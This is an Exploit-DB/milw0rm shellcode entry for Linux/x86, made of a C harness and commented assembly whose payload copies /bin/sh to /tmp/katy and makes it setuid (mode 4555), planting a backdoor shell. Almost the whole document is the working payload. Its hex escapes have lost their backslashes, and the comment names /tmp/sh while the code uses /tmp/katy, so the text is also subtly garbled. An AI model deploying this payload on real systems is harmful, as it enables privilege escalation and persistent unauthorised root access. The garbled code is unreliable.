https://www.exploit-db.com/exploits/13438

漏洞细节尚未披露

/*
 *  Linux/x86
 *
 *  /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork()
 */
#include <stdio.h>


char shellcode[] =
"xebx5ex5fx31xc0x88x47x07x88x47x0fx88x47x19x89x7f"
"x1ax8dx77x08x89x77x1ex31xf6x8dx77x10x89x77x22x89"
"x47x26x89xfbx8dx4fx1ax8dx57x26x31xc0xb0x02xcdx80"
"x31xf6x39xc6x75x06xb0x0bxcdx80xebx1dx31xd2x31xc0"
"x31xdbx4bx8dx4fx26xb0x07xcdx80x31xc0x8dx5fx10x31"
"xc9x66xb9x6dx09xb0x0fxcdx80x31xc0x40x31xdbxcdx80"
"xe8x9dxffxffxff/bin/cp8/bin/sh8/tmp/katy";

main() {
        int *ret;
        ret=(int *)&ret +2;
        printf("Shellcode lenght=%dn",strlen(shellcode));
        (*ret) = (int)shellcode;
}

/* Code */
/*
__asm__("
        jmp    0x5e
        popl   %edi
        xorl   %eax,%eax
        movb   %al,0x7(%edi)
        movb   %al,0xf(%edi)
        movb   %al,0x19(%edi)
        movl   %edi,0x1a(%edi)
        leal   0x8(%edi),%esi
        movl   %esi,0x1e(%edi)
        xorl   %esi,%esi
        leal   0x10(%edi),%esi
        movl   %esi,0x22(%edi)
        movl   %eax,0x26(%edi)
        movl   %edi,%ebx
        leal   0x1a(%edi),%ecx
        leal   0x26(%edi),%edx
        xorl   %eax,%eax
        movb   $0x2,%al
        int    $0x80
        xorl   %esi,%esi
        cmpl   %eax,%esi
        jne    0x6
        movb   $0xb,%al
        int    $0x80
        jmp    0x1d
        xorl   %edx,%edx
        xorl   %eax,%eax
        xorl   %ebx,%ebx
        dec    %ebx
        leal   0x26(%edi),%ecx
        movb   $0x7,%al
        int    $0x80
        xorl   %eax,%eax
        leal   0x10(%edi),%ebx
        xorl   %ecx,%ecx
        movw   $0x96d,%cx
        movb   $0xf,%al
        int    $0x80
        xorl   %eax,%eax
        inc    %eax
        xorl   %ebx,%ebx
        int    $0x80
        call   -0x63
        .ascii "/bin/cp8/bin/sh8/tmp/katy"
");
*/

/*
RaiSe <[email protected]>
http://www.undersec.com
*/

// milw0rm.com [2004-09-26]